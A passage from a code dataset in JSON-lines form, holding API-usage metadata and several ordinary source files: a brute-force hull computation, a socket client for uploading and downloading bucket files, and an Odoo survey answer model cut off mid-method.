{"api_name": "django.shortcuts.render", "line_number": 223, "usage_type": "call"}, {"api_name": "models.Vendors.objects.get", "line_number": 229, "usage_type": "call"}, {"api_name": "models.Vendors.objects", "line_number": 229, "usage_type": "attribute"}, {"api_name": "models.Vendors", "line_number": 229, "usage_type": "name"}, {"api_name": "models.Vendors.objects.filter", "line_number": 230, "usage_type": "call"}, {"api_name": "models.Vendors.objects", "line_number": 230, "usage_type": "attribute"}, {"api_name": "models.Vendors", "line_number": 230, "usage_type": "name"}, {"api_name": "models.Vendors.objects.filter", "line_number": 231, "usage_type": "call"}, {"api_name": "models.Vendors.objects", "line_number": 231, "usage_type": "attribute"}, {"api_name": "models.Vendors", "line_number": 231, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 233, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 238, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 242, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 242, "usage_type": "name"}, {"api_name": "models.budget.objects.filter", "line_number": 244, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 244, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 244, "usage_type": "name"}, {"api_name": "models.budget.objects.filter", "line_number": 248, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 248, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 248, "usage_type": "name"}, {"api_name": "models.budget.objects.filter", "line_number": 249, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 249, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 249, "usage_type": "name"}, {"api_name": "models.budget.objects.filter", "line_number": 255, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 255, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 255, "usage_type": "name"}, {"api_name": "models.budget.objects.filter", "line_number": 260, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 260, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 260, "usage_type": "name"}, {"api_name": "models.budget.objects.filter", "line_number": 261, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 261, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 261, "usage_type": "name"}, {"api_name": "models.budget.objects.filter", "line_number": 262, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 262, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 262, "usage_type": "name"}, {"api_name": "models.budget.objects.create", "line_number": 263, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 263, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 263, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 265, "usage_type": "call"}, {"api_name": "models.budget.objects.filter", "line_number": 267, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 267, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 267, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 269, "usage_type": "call"}, {"api_name": "models.budget.objects.filter", "line_number": 270, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 270, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 270, "usage_type": "name"}, {"api_name": "models.budget.objects.create", "line_number": 294, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 294, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 294, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 296, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 298, "usage_type": "call"}, {"api_name": "models.budget.objects.filter", "line_number": 299, "usage_type": "call"}, {"api_name": "models.budget.objects", "line_number": 299, "usage_type": "attribute"}, {"api_name": "models.budget", "line_number": 299, "usage_type": "name"}]} {"seq_id": "40323900737", "text": "import itertools\n\ndef cross(a,b):\n c = []\n c.append(a[1]*b[2]-a[2]*b[1])\n c.append(a[2]*b[0]-a[0]*b[2])\n c.append(a[0]*b[1]-a[1]*b[0])\n return c\n\ndef positiveCross(a,b):\n c = cross(a,b)\n if c[2] < 0:\n c[0] = -c[0]\n c[1] = -c[1]\n c[2] = -c[2]\n return c\n\ndef unitize(a):\n length = (a[0] ** 2 + a[1] ** 2 + a[2] ** 2) ** (1/2)\n u = []\n if length != 0:\n u.append(a[0]/length)\n u.append(a[1]/length)\n u.append(a[2]/length)\n else:\n u = a\n return u\n\ndef subtract(a,b):\n c = []\n c.append(a[0] - b[0])\n c.append(a[1] - b[1])\n c.append(a[2] - b[2])\n return c\n\ndef length(a):\n return((a[0] ** 2 + a[1] ** 2 + a[2] ** 2) ** (1/2))\n\ndef dot(a,b):\n return a[0] * b[0] + a[1] * b[1] + a[2] * b[2]\n\ndef naiveHull(polygon):\n ps = []\n for y in range(0, len(polygon)):\n for x in range(0, len(polygon[0])):\n if polygon[y][x] != 'i':\n ps.append([x, y, polygon[y][x]])\n\n triads = []\n for element in itertools.combinations(ps, 3):\n if element[0] != element[1] and element[0] != element[2] and element[1] != element[2]:\n triads.append(element)\n\n hull = []\n for triad in triads:\n v1 = subtract(triad[0], triad[1])\n v2 = subtract(triad[0], triad[2])\n upwardsNormal = unitize(positiveCross(v1,v2))\n if triad == ([3, 0, 0.0], [0, 2, 2.5], [0, 3, 2.0]):\n print(upwardsNormal)\n if upwardsNormal[2] != 0:\n onHull = True\n for p in ps:\n v3 = subtract(p, triad[0])\n if triad == ([3, 0, 0.0], [0, 2, 2.5], [0, 3, 2.0]):\n print(p, dot(v3, upwardsNormal))\n if dot(v3, upwardsNormal) < -0.0000001:\n onHull = False\n if onHull:\n hull.append([list(triad), upwardsNormal])\n\n done = False\n while not done:\n done = True\n for m in range(0, len(hull)):\n for n in range(m, len(hull)):\n if len([x for x in hull[m][0] if x in hull[n][0]]) >= 2 and m != n and length(subtract(hull[m][1], hull[n][1])) <= 0.00000001:\n done = False\n hull[m] = [list(map(list, set(map(tuple, hull[m][0] + hull[n][0])))), hull[m][1]]\n hull.remove(hull[n])\n break\n\n subdivision = [] \n for x in hull:\n subdivision.append(x[0])\n\n return subdivision\n", "repo_name": "emlynx/tropical", "sub_path": "naiveHull.py", "file_name": "naiveHull.py", "file_ext": "py", "file_size_in_byte": 2471, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "itertools.combinations", "line_number": 50, "usage_type": "call"}]} {"seq_id": "21576951892", "text": "#std lib packages\nfrom io import StringIO, BytesIO\nimport os\nimport os.path as path\nimport socket\nimport sys\n#user-defined packages\nfrom util.parser import Parser\n\nclass Client:\n def __init__(self):\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n #http_bind_address\n self.BUFFER_SIZE = 1024\n self.parser = Parser()\n \n def run(self, address = None, port = 9000):\n \"\"\"\n Tries to connect to the server deployed on the given access point (address:port).\n and start a session with it.\n \"\"\"\n #set default address if it's not given\n address = socket.gethostname() if address == None else address\n self.__connect( address, port)\n self.__session()\n\n def __connect(self, address, port):\n print(f\"# Connecting to {address}:{port}\")\n try:\n self.socket.connect((address, port))\n print(\"# Connected!\")\n self.__session()\n except ConnectionRefusedError:\n print(f\"# Connection refused, please make sure there's a server running.\")\n sys.exit(1)\n except InterruptedError as e:\n print(f\"# Connection interrupted: {e}\")\n sys.exit(1)\n \n def __session(self):\n while True:\n try:\n msg = input(\"> \").strip()\n if msg and self.parser.parse(msg):\n self.__execute(msg)\n else:\n print(f\"# Invalid command: '{msg}', type 'help' if you need a hand.\")\n except (KeyboardInterrupt, EOFError):\n print(\"# Disconnected!\")\n self.socket.close()\n sys.exit()\n except (InterruptedError, ConnectionError):\n print(f\"# Disconnected due interrupted connection. :(\")\n self.socket.close()\n sys.exit(1)\n\n def __execute(self, msg):\n instruction = self.parser.instruction(msg)\n if msg == \"quit\": \n raise KeyboardInterrupt\n elif msg == \"help\":\n print(self.__help())\n elif instruction == \"up\":\n self.__send_file(msg)\n elif instruction == \"down\":\n self.__receive_file(msg)\n else:\n self.socket.send(msg.encode())\n self.__listen(msg)\n \n def __send_file(self, msg):\n \"\"\"\n Sends the file which is in the given path.\n \"\"\"\n self.socket.send(msg.encode()) # advertisement\n\n bucket_name, file_path = self.parser.args(msg)\n if path.isfile(file_path):\n file_name = path.basename(file_path)\n size = path.getsize(file_path)\n header = f\"{bucket_name} {file_name} {size}\"\n sent = False\n while not sent: # resending until get confirmation\n self.socket.send(header.encode())\n sent = self.socket.recv(self.BUFFER_SIZE)\n with open(file_path, 'rb') as f:\n print(f\"# Sending {file_name}\")\n while True:\n bytes_read = f.read(self.BUFFER_SIZE)\n if not bytes_read: \n break\n try:\n self.socket.sendall(bytes_read)\n except:\n print(\"# Error while sending the file. Please, retry.\")\n return\n print(\"# Sent\")\n else:\n print(f\"# Not found file: {file_path}\")\n \n def __receive_file(self, msg):\n \"\"\"\n Receives the file which is in the given path.\n \"\"\"\n self.socket.send(msg.encode())\n header = self.socket.recv(self.BUFFER_SIZE)\n if header:\n line = header.decode('UTF-8').replace('\\n','')\n if line == \"not found\": # omit transmission if bucket or file doesn't exist\n return \n self.socket.send(\"OK\".encode()) # sent confirmation of header\n args = line.split()\n if len(args) == 3:\n bucket_name, file_name, file_size = args\n file_size = int(file_size)\n print(f\"# Receiving: {file_name}\")\n with BytesIO() as incoming_bytes:\n total_received = 0\n while total_received < file_size:\n bytes_read = self.socket.recv(self.BUFFER_SIZE)\n total_received += incoming_bytes.write(bytes_read)\n if not bytes_read:\n print(\"# Data corrupted. Dismissing...\")\n return\n print(\"# Received\")\n self.socket.send(\"OK\".encode()) # sent confirmation of data\n\n this = path.relpath(__file__) # this files path\n this = path.split(this)[0] # removing <filename>.py\n down_path = path.join(this, \"downloads\", bucket_name)\n if not path.isdir(down_path):\n print(f\"# '{down_path}' not found. Creating...\")\n os.makedirs(down_path)\n file_path = path.join(down_path, file_name)\n with open(file_path, 'wb') as f:\n f.write(incoming_bytes.getvalue())\n else:\n print(\"# Header corrupted.\")\n else: \n print(\"# Header not found.\")\n\n def __listen(self, msg):\n data = self.socket.recv(self.BUFFER_SIZE)\n if data:\n line = data.decode('UTF-8') # convert to string (Python 3 only)\n print(\"< \" + line )\n else: raise InterruptedError\n\n def __help(self):\n lines = [\n \"- content <BUCKET_NAME>: Lists the different files inside the <BUCKET_NAME> bucket.\\n\",\n \"- create <BUCKET_NAME>: Creates a new bucket empty and ready to access. If the bucket is already created, the server will return a reject message.\\n\",\n \"- delete <BUCKET_NAME> <FILE_NAME>: Deletes a file stored inside a bucket.\\n\",\n \"- down <BUCKET_NAME> <FILE_NAME>: Downloads a file from a bucket to the client entity.\\n\",\n \"- drop <BUCKET_NAME>: Deletes an existing bucket.\\n\",\n \"- help: Shows this guideline.\\n\",\n \"- list: Lists the different existing buckets.\\n\",\n \"- quit: Breaks the connection to the server.\\n\",\n \"- up <BUCKET_NAME> <FILE_NAME>: Uploads a file to an existing bucket.\\n\\n\",\n \"* REMARKS: \\n\",\n \" - The available commands are all CASE-SENSITIVE\\n\"\n \" - <BUCKET_NAME> only accepts alphanumeric, numeric and '_' chars.\\n\",\n \" - <FILE_NAME accepts the same as <BUCKET_NAME> + and optional aphanumeric extension.\\n\"\n ]\n ios = StringIO()\n ios.writelines(lines)\n return ios.getvalue()\n\nif __name__ == \"__main__\":\n client = Client()\n client.run()", "repo_name": "sgilz/socket-service", "sub_path": "client/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 6957, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "socket.socket", "line_number": 12, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 12, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 12, "usage_type": "attribute"}, {"api_name": "util.parser.Parser", "line_number": 15, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 35, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 38, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 51, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "name"}, {"api_name": "os.path.getsize", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.relpath", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "name"}, {"api_name": "os.path.split", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path", "line_number": 129, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "name"}, {"api_name": "io.StringIO", "line_number": 165, "usage_type": "call"}]} {"seq_id": "33934755305", "text": "import logging\nimport textwrap\nimport uuid\n\nfrom dateutil.relativedelta import relativedelta\n\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import ValidationError, UserError\nfrom odoo.tools import float_is_zero\n\n_logger = logging.getLogger(__name__)\n\n\nclass SurveyUserInput(models.Model):\n \"\"\" Metadata for a set of one user's answers to a particular survey \"\"\"\n _name = \"survey.user_input\"\n _description = \"Survey User Input\"\n _rec_name = \"survey_id\"\n _order = \"create_date desc\"\n _inherit = ['mail.thread', 'mail.activity.mixin']\n\n # answer description\n survey_id = fields.Many2one('survey.survey', string='Survey', required=True, readonly=True, ondelete='cascade')\n scoring_type = fields.Selection(string=\"Scoring\", related=\"survey_id.scoring_type\")\n start_datetime = fields.Datetime('Start date and time', readonly=True)\n end_datetime = fields.Datetime('End date and time', readonly=True)\n deadline = fields.Datetime('Deadline', help=\"Datetime until customer can open the survey and submit answers\")\n state = fields.Selection([\n ('new', 'Not started yet'),\n ('in_progress', 'In Progress'),\n ('done', 'Completed')], string='Status', default='new', readonly=True)\n test_entry = fields.Boolean(readonly=True)\n last_displayed_page_id = fields.Many2one('survey.question', string='Last displayed question/page')\n # attempts management\n is_attempts_limited = fields.Boolean(\"Limited number of attempts\", related='survey_id.is_attempts_limited')\n attempts_limit = fields.Integer(\"Number of attempts\", related='survey_id.attempts_limit')\n attempts_count = fields.Integer(\"Attempts Count\", compute='_compute_attempts_info')\n attempts_number = fields.Integer(\"Attempt n°\", compute='_compute_attempts_info')\n survey_time_limit_reached = fields.Boolean(\"Survey Time Limit Reached\", compute='_compute_survey_time_limit_reached')\n # identification / access\n access_token = fields.Char('Identification token', default=lambda self: str(uuid.uuid4()), readonly=True, required=True, copy=False)\n invite_token = fields.Char('Invite token', readonly=True, copy=False) # no unique constraint, as it identifies a pool of attempts\n partner_id = fields.Many2one('res.partner', string='Contact', readonly=True)\n email = fields.Char('Email', readonly=True)\n nickname = fields.Char('Nickname', help=\"Attendee nickname, mainly used to identify them in the survey session leaderboard.\")\n # questions / answers\n user_input_line_ids = fields.One2many('survey.user_input.line', 'user_input_id', string='Answers', copy=True)\n predefined_question_ids = fields.Many2many('survey.question', string='Predefined Questions', readonly=True)\n scoring_percentage = fields.Float(\"Score (%)\", compute=\"_compute_scoring_values\", store=True, compute_sudo=True) # stored for perf reasons\n scoring_total = fields.Float(\"Total Score\", compute=\"_compute_scoring_values\", store=True, compute_sudo=True) # stored for perf reasons\n scoring_success = fields.Boolean('Quizz Passed', compute='_compute_scoring_success', store=True, compute_sudo=True) # stored for perf reasons\n survey_first_submitted = fields.Boolean(string='Survey First Submitted')\n # live sessions\n is_session_answer = fields.Boolean('Is in a Session', help=\"Is that user input part of a survey session or not.\")\n question_time_limit_reached = fields.Boolean(\"Question Time Limit Reached\", compute='_compute_question_time_limit_reached')\n\n _sql_constraints = [\n ('unique_token', 'UNIQUE (access_token)', 'An access token must be unique!'),\n ]\n\n @api.depends('user_input_line_ids.answer_score', 'user_input_line_ids.question_id', 'predefined_question_ids.answer_score')\n def _compute_scoring_values(self):\n for user_input in self:\n # sum(multi-choice question scores) + sum(simple answer_type scores)\n total_possible_score = 0\n for question in user_input.predefined_question_ids:\n if question.question_type == 'simple_choice':\n total_possible_score += max([score for score in question.mapped('suggested_answer_ids.answer_score') if score > 0], default=0)\n elif question.question_type == 'multiple_choice':\n total_possible_score += sum(score for score in question.mapped('suggested_answer_ids.answer_score') if score > 0)\n elif question.is_scored_question:\n total_possible_score += question.answer_score\n\n if total_possible_score == 0:\n user_input.scoring_percentage = 0\n user_input.scoring_total = 0\n else:\n score_total = sum(user_input.user_input_line_ids.mapped('answer_score'))\n user_input.scoring_total = score_total\n score_percentage = (score_total / total_possible_score) * 100\n user_input.scoring_percentage = round(score_percentage, 2) if score_percentage > 0 else 0\n\n @api.depends('scoring_percentage', 'survey_id')\n def _compute_scoring_success(self):\n for user_input in self:\n user_input.scoring_success = user_input.scoring_percentage >= user_input.survey_id.scoring_success_min\n\n @api.depends(\n 'start_datetime',\n 'survey_id.is_time_limited',\n 'survey_id.time_limit')\n def _compute_survey_time_limit_reached(self):\n \"\"\" Checks that the user_input is not exceeding the survey's time limit. \"\"\"\n for user_input in self:\n if not user_input.is_session_answer and user_input.start_datetime:\n start_time = user_input.start_datetime\n time_limit = user_input.survey_id.time_limit\n user_input.survey_time_limit_reached = user_input.survey_id.is_time_limited and \\\n fields.Datetime.now() >= start_time + relativedelta(minutes=time_limit)\n else:\n user_input.survey_time_limit_reached = False\n\n @api.depends(\n 'survey_id.session_question_id.time_limit',\n 'survey_id.session_question_id.is_time_limited',\n 'survey_id.session_question_start_time')\n def _compute_question_time_limit_reached(self):\n \"\"\" Checks that the user_input is not exceeding the question's time limit.\n Only used in the context of survey sessions. \"\"\"\n for user_input in self:\n if user_input.is_session_answer and user_input.survey_id.session_question_start_time:\n start_time = user_input.survey_id.session_question_start_time\n time_limit = user_input.survey_id.session_question_id.time_limit\n user_input.question_time_limit_reached = user_input.survey_id.session_question_id.is_time_limited and \\\n fields.Datetime.now() >= start_time + relativedelta(seconds=time_limit)\n else:\n user_input.question_time_limit_reached = False\n\n @api.depends('state', 'test_entry', 'survey_id.is_attempts_limited', 'partner_id', 'email', 'invite_token')\n def _compute_attempts_info(self):\n attempts_to_compute = self.filtered(\n lambda user_input: user_input.state == 'done' and not user_input.test_entry and user_input.survey_id.is_attempts_limited\n )\n\n for user_input in (self - attempts_to_compute):\n user_input.attempts_count = 1\n user_input.attempts_number = 1\n\n if attempts_to_compute:\n self.flush_model(['email', 'invite_token', 'partner_id', 'state', 'survey_id', 'test_entry'])\n\n self.env.cr.execute(\"\"\"\n SELECT user_input.id,\n COUNT(all_attempts_user_input.id) AS attempts_count,\n COUNT(CASE WHEN all_attempts_user_input.id < user_input.id THEN all_attempts_user_input.id END) + 1 AS attempts_number\n FROM survey_user_input user_input\n LEFT OUTER JOIN survey_user_input all_attempts_user_input\n ON user_input.survey_id = all_attempts_user_input.survey_id\n AND all_attempts_user_input.state = 'done'\n AND all_attempts_user_input.test_entry IS NOT TRUE\n AND (user_input.invite_token IS NULL OR user_input.invite_token = all_attempts_user_input.invite_token)\n AND (user_input.partner_id = all_attempts_user_input.partner_id OR user_input.email = all_attempts_user_input.email)\n WHERE user_input.id IN %s\n GROUP BY user_input.id;\n \"\"\", (tuple(attempts_to_compute.ids),))\n\n attempts_number_results = self.env.cr.dictfetchall()\n\n attempts_number_results = {\n attempts_number_result['id']: {\n 'attempts_number': attempts_number_result['attempts_number'],\n 'attempts_count': attempts_number_result['attempts_count'],\n }\n for attempts_number_result in attempts_number_results\n }\n\n for user_input in attempts_to_compute:\n attempts_number_result = attempts_number_results.get(user_input.id, {})\n user_input.attempts_number = attempts_number_result.get('attempts_number', 1)\n user_input.attempts_count = attempts_number_result.get('attempts_count', 1)\n\n @api.model_create_multi\n def create(self, vals_list):\n for vals in vals_list:\n if 'predefined_question_ids' not in vals:\n suvey_id = vals.get('survey_id', self.env.context.get('default_survey_id'))\n survey = self.env['survey.survey'].browse(suvey_id)\n vals['predefined_question_ids'] = [(6, 0, survey._prepare_user_input_predefined_questions().ids)]\n return super(SurveyUserInput, self).create(vals_list)\n\n # ------------------------------------------------------------\n # ACTIONS / BUSINESS\n # ------------------------------------------------------------\n\n def action_resend(self):\n partners = self.env['res.partner']\n emails = []\n for user_answer in self:\n if user_answer.partner_id:\n partners |= user_answer.partner_id\n elif user_answer.email:\n emails.append(user_answer.email)\n\n return self.survey_id.with_context(\n default_existing_mode='resend',\n default_partner_ids=partners.ids,\n default_emails=','.join(emails)\n ).action_send_survey()\n\n def action_print_answers(self):\n \"\"\" Open the website page with the survey form \"\"\"\n self.ensure_one()\n return {\n 'type': 'ir.actions.act_url',\n 'name': \"View Answers\",\n 'target': 'self',\n 'url': '/survey/print/%s?answer_token=%s' % (self.survey_id.access_token, self.access_token)\n }\n\n def action_redirect_to_attempts(self):\n self.ensure_one()\n\n action = self.env['ir.actions.act_window']._for_xml_id('survey.action_survey_user_input')\n context = dict(self.env.context or {})\n\n context['create'] = False\n context['search_default_survey_id'] = self.survey_id.id\n context['search_default_group_by_survey'] = False\n if self.partner_id:\n context['search_default_partner_id'] = self.partner_id.id\n elif self.email:\n context['search_default_email'] = self.email\n\n action['context'] = context\n return action\n\n @api.model\n def _generate_invite_token(self):\n return str(uuid.uuid4())\n\n def _mark_in_progress(self):\n \"\"\" marks the state as 'in_progress' and updates the start_datetime accordingly. \"\"\"\n self.write({\n 'start_datetime': fields.Datetime.now(),\n 'state': 'in_progress'\n })\n\n def _mark_done(self):\n \"\"\" This method will:\n 1. mark the state as 'done'\n 2. send the certification email with attached document if\n - The survey is a certification\n - It has a certification_mail_template_id set\n - The user succeeded the test\n 3. Notify survey subtype subscribers of the newly completed input\n Will also run challenge Cron to give the certification badge if any.\"\"\"\n self.write({\n 'end_datetime': fields.Datetime.now(),\n 'state': 'done',\n })\n\n Challenge_sudo = self.env['gamification.challenge'].sudo()\n badge_ids = []\n self._notify_new_participation_subscribers()\n for user_input in self:\n if user_input.survey_id.certification and user_input.scoring_success:\n if user_input.survey_id.certification_mail_template_id and not user_input.test_entry:\n user_input.survey_id.certification_mail_template_id.send_mail(user_input.id, email_layout_xmlid=\"mail.mail_notification_light\")\n if user_input.survey_id.certification_give_badge:\n badge_ids.append(user_input.survey_id.certification_badge_id.id)\n\n # Update predefined_question_id to remove inactive questions\n user_input.predefined_question_ids -= user_input._get_inactive_conditional_questions()\n\n if badge_ids:\n challenges = Challenge_sudo.search([('reward_id', 'in', badge_ids)])\n if challenges:\n Challenge_sudo._cron_update(ids=challenges.ids, commit=False)\n\n def get_start_url(self):\n self.ensure_one()\n return '%s?answer_token=%s' % (self.survey_id.get_start_url(), self.access_token)\n\n def get_print_url(self):\n self.ensure_one()\n return '%s?answer_token=%s' % (self.survey_id.get_print_url(), self.access_token)\n\n # ------------------------------------------------------------\n # CREATE / UPDATE LINES FROM SURVEY FRONTEND INPUT\n # ------------------------------------------------------------\n\n def _save_lines(self, question, answer, comment=None, overwrite_existing=True):\n \"\"\" Save answers to questions, depending on question type.\n\n :param bool overwrite_existing: if an answer already exists for question and user_input_id\n it will be overwritten (or deleted for 'choice' questions) in order to maintain data consistency.\n :raises UserError: if line exists and overwrite_existing is False\n \"\"\"\n old_answers = self.env['survey.user_input.line'].search([\n ('user_input_id', '=', self.id),\n ('question_id', '=', question.id)\n ])\n if old_answers and not overwrite_existing:\n raise UserError(_(\"This answer cannot be overwritten.\"))\n\n if question.question_type in ['char_box', 'text_box', 'numerical_box', 'date', 'datetime']:\n self._save_line_simple_answer(question, old_answers, answer)\n if question.save_as_email and answer:\n self.write({'email': answer})\n if question.save_as_nickname and answer:\n self.write({'nickname': answer})\n\n elif question.question_type in ['simple_choice', 'multiple_choice']:\n self._save_line_choice(question, old_answers, answer, comment)\n elif question.question_type == 'matrix':\n self._save_line_matrix(question, old_answers, answer, comment)\n else:\n raise AttributeError(question.question_type + \": This type of question has no saving function\")\n\n def _save_line_simple_answer(self, question, old_answers, answer):\n vals = self._get_line_answer_values(question, answer, question.question_type)\n if old_answers:\n old_answers.write(vals)\n return old_answers\n else:\n return self.env['survey.user_input.line'].create(vals)\n\n def _save_line_choice(self, question, old_answers, answers, comment):\n if not (isinstance(answers, list)):\n answers = [answers]\n\n if not answers:\n # add a False answer to force saving a skipped line\n # this will make this question correctly considered as skipped in statistics\n answers = [False]\n\n vals_list = []\n\n if question.question_type == 'simple_choice':\n if not question.comment_count_as_answer or not question.comments_allowed or not comment:\n vals_list = [self._get_line_answer_values(question, answer, 'suggestion') for answer in answers]\n elif question.question_type == 'multiple_choice':\n vals_list = [self._get_line_answer_values(question, answer, 'suggestion') for answer in answers]\n\n if comment:\n vals_list.append(self._get_line_comment_values(question, comment))\n\n old_answers.sudo().unlink()\n return self.env['survey.user_input.line'].create(vals_list)\n\n def _save_line_matrix(self, question, old_answers, answers, comment):\n vals_list = []\n\n if not answers and question.matrix_row_ids:\n # add a False answer to force saving a skipped line\n # this will make this question correctly considered as skipped in statistics\n answers = {question.matrix_row_ids[0].id: [False]}\n\n if answers:\n for row_key, row_answer in answers.items():\n for answer in row_answer:\n vals = self._get_line_answer_values(question, answer, 'suggestion')\n vals['matrix_row_id'] = int(row_key)\n vals_list.append(vals.copy())\n\n if comment:\n vals_list.append(self._get_line_comment_values(question, comment))\n\n old_answers.sudo().unlink()\n return self.env['survey.user_input.line'].create(vals_list)\n\n def _get_line_answer_values(self, question, answer, answer_type):\n vals = {\n 'user_input_id': self.id,\n 'question_id': question.id,\n 'skipped': False,\n 'answer_type': answer_type,\n }\n if not answer or (isinstance(answer, str) and not answer.strip()):\n vals.update(answer_type=None, skipped=True)\n return vals\n\n if answer_type == 'suggestion':\n vals['suggested_answer_id'] = int(answer)\n elif answer_type == 'numerical_box':\n vals['value_numerical_box'] = float(answer)\n else:\n vals['value_%s' % answer_type] = answer\n return vals\n\n def _get_line_comment_values(self, question, comment):\n return {\n 'user_input_id': self.id,\n 'question_id': question.id,\n 'skipped': False,\n 'answer_type': 'char_box',\n 'value_char_box': comment,\n }\n\n # ------------------------------------------------------------\n # STATISTICS / RESULTS\n # ------------------------------------------------------------\n\n def _prepare_statistics(self):\n \"\"\" Prepares survey.user_input's statistics to display various charts on the frontend.\n Returns a structure containing answers statistics \"by section\" and \"totals\" for every input in self.\n\n e.g returned structure:\n {\n survey.user_input(1,): {\n 'by_section': {\n 'Uncategorized': {\n 'question_count': 2,\n 'correct': 2,\n 'partial': 0,\n 'incorrect': 0,\n 'skipped': 0,\n },\n 'Mathematics': {\n 'question_count': 3,\n 'correct': 1,\n 'partial': 1,\n 'incorrect': 0,\n 'skipped': 1,\n },\n 'Geography': {\n 'question_count': 4,\n 'correct': 2,\n 'partial': 0,\n 'incorrect': 2,\n 'skipped': 0,\n }\n },\n 'totals' [{\n 'text': 'Correct',\n 'count': 5,\n }, {\n 'text': 'Partially',\n 'count': 1,\n }, {\n 'text': 'Incorrect',\n 'count': 2,\n }, {\n 'text': 'Unanswered',\n 'count': 1,\n }]\n }\n }\"\"\"\n res = dict((user_input, {\n 'by_section': {}\n }) for user_input in self)\n\n scored_questions = self.mapped('predefined_question_ids').filtered(lambda question: question.is_scored_question)\n\n for question in scored_questions:\n if question.question_type == 'simple_choice':\n question_incorrect_scored_answers = question.suggested_answer_ids.filtered(lambda answer: not answer.is_correct and answer.answer_score > 0)\n\n if question.question_type in ['simple_choice', 'multiple_choice']:\n question_correct_suggested_answers = question.suggested_answer_ids.filtered(lambda answer: answer.is_correct)\n\n question_section = question.page_id.title or _('Uncategorized')\n for user_input in self:\n user_input_lines = user_input.user_input_line_ids.filtered(lambda line: line.question_id == question)\n if question.question_type == 'simple_choice':\n answer_result_key = self._simple_choice_question_answer_result(user_input_lines, question_correct_suggested_answers, question_incorrect_scored_answers)\n elif question.question_type == 'multiple_choice':\n answer_result_key = self._multiple_choice_question_answer_result(user_input_lines, question_correct_suggested_answers)\n else:\n answer_result_key = self._simple_question_answer_result(user_input_lines)\n\n if question_section not in res[user_input]['by_section']:\n res[user_input]['by_section'][question_section] = {\n 'question_count': 0,\n 'correct': 0,\n 'partial': 0,\n 'incorrect': 0,\n 'skipped': 0,\n }\n\n res[user_input]['by_section'][question_section]['question_count'] += 1\n res[user_input]['by_section'][question_section][answer_result_key] += 1\n\n for user_input in self:\n correct_count = 0\n partial_count = 0\n incorrect_count = 0\n skipped_count = 0\n\n for section_counts in res[user_input]['by_section'].values():\n correct_count += section_counts.get('correct', 0)\n partial_count += section_counts.get('partial', 0)\n incorrect_count += section_counts.get('incorrect', 0)\n skipped_count += section_counts.get('skipped', 0)\n\n res[user_input]['totals'] = [\n {'text': _(\"Correct\"), 'count': correct_count},\n {'text': _(\"Partially\"), 'count': partial_count},\n {'text': _(\"Incorrect\"), 'count': incorrect_count},\n {'text': _(\"Unanswered\"), 'count': skipped_count}\n ]\n\n return res\n\n def _multiple_choice_question_answer_result(self, user_input_lines, question_correct_suggested_answers):\n correct_user_input_lines = user_input_lines.filtered(lambda line: line.answer_is_correct and not line.skipped).mapped('suggested_answer_id')\n incorrect_user_input_lines = user_input_lines.filtered(lambda line: not line.answer_is_correct and not line.skipped)\n if 